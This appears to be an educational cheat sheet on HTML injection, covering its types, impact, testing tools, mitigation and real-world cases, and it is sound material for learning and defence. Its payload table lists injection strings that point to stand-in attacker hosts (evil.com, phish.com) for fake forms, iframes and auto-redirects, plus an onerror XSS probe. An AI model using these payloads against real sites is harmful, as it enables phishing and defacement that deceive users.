# HTML Injection

**HTML Injection** is a vulnerability where an attacker is able to **inject arbitrary HTML code** into a web page, which gets rendered by the victim’s browser. It can lead to:

* Content spoofing
* UI defacement
* Phishing
* Redirection
* And even **Cross-Site Scripting (XSS)** if scripts are allowed

**Key difference from XSS**: In HTML Injection, **scripts may not execute** — only HTML/markup is injected.

# Types of HTML Injection

## 1. Reflected HTML Injection

* Injected HTML is reflected back in the page immediately.
* Example: [https://site.com/search?q=<h1>Hacked</h1](https://site.com/search?q=%3ch1%3eHacked%3c/h1)>

## 2. Stored HTML Injection

* HTML is stored in the database and shown to all users (e.g., blog comment).
* Example:  
  Attacker posts: <div class='alert'>Get Free Money</div>

## 3. DOM-Based HTML Injection

* HTML is injected and rendered by client-side JavaScript.
* Example: document.getElementById("output").innerHTML = location.hash.substring(1);

# Impact

| Impact Type | Description |
| --- | --- |
| UI Redress / Defacement | Alter or overwrite page content |
| Phishing | Inject fake login forms or "update password" prompts |
| Redirection | Inject <meta http-equiv="refresh"> to redirect victims |
| Clickjacking Setup | Insert transparent overlays with malicious intent |
| Misinformation / Fake News | Change messages on content-based platforms |
| Potential XSS Chain | If scripts are later allowed, turns into XSS |

# Example Payloads

| Payload | Result |
| --- | --- |
| <h1>You are hacked</h1> | Large heading appears |
| <iframe src="http://evil.com"> | Embedded malicious site |
| <form action="http://phish.com">...</form> | Fake login page |
| <meta http-equiv="refresh" content="0;url=http://evil.com"> | Auto redirect |
| <img src=x onerror=alert(1)> | May become XSS if JS allowed |

# Testing Techniques

| Tool | Method |
| --- | --- |
| Manual URL injection | Inject HTML tags into GET/POST parameters |
| Burp Suite Repeater | Reflect payloads and observe rendering |
| DOM Testing | Check innerHTML, document.write() usage |
| Content Reflection | Search for user input reflected in HTML source without encoding |
| HTML Inspector Plugins | Browser extensions that highlight untrusted elements |

# Simple Test with URL

https://site.com/search?term=<h1>Injected</h1>  
Open in browser and check if “Injected” is rendered with <h1> formatting.

# Mitigation

| Layer | Strategy |
| --- | --- |
| Input Validation | Reject unexpected tags or encode them |
| Output Encoding | Use context-aware escaping: |

HTML body → &lt;, &gt;

HTML attribute → escape ", '

| Use Templating Libraries | Auto-escape output (e.g., Jinja2, Thymeleaf, Handlebars) |

| Avoid innerHTML and document.write | Use textContent, createElement instead |

| Use Content Security Policy (CSP) | Prevent execution of injected scripts |

| Strict HTML Sanitization | Use libraries like DOMPurify to clean HTML inputs

# Tools

| Tool | Use |
| --- | --- |
| Burp Suite | Manual testing and automation |
| OWASP ZAP | Passive scanner detects unencoded reflections |
| DOM Invader (PortSwigger) | Detect DOM-based HTML injection |
| Fiddler / Postman | Craft and send HTML injection payloads |
| DOMPurify / bleach | Test HTML sanitizer behavior |

# Real-World Scenarios

| App | Description |
| --- | --- |
| Forums | Users injected large banners or fake announcements |
| Job Portals | Injected <iframe> to malicious resume phishing sites |
| CMS plugins | Poorly encoded form inputs led to content spoofing |

# Points

“HTML Injection allows an attacker to **manipulate what the user sees**, even if they can’t run scripts.”

“It’s often a precursor to **XSS** — if not blocked properly, attackers can elevate it.”

“Test for this by sending HTML payloads into every user-controlled input, especially those reflected in the page without escaping.”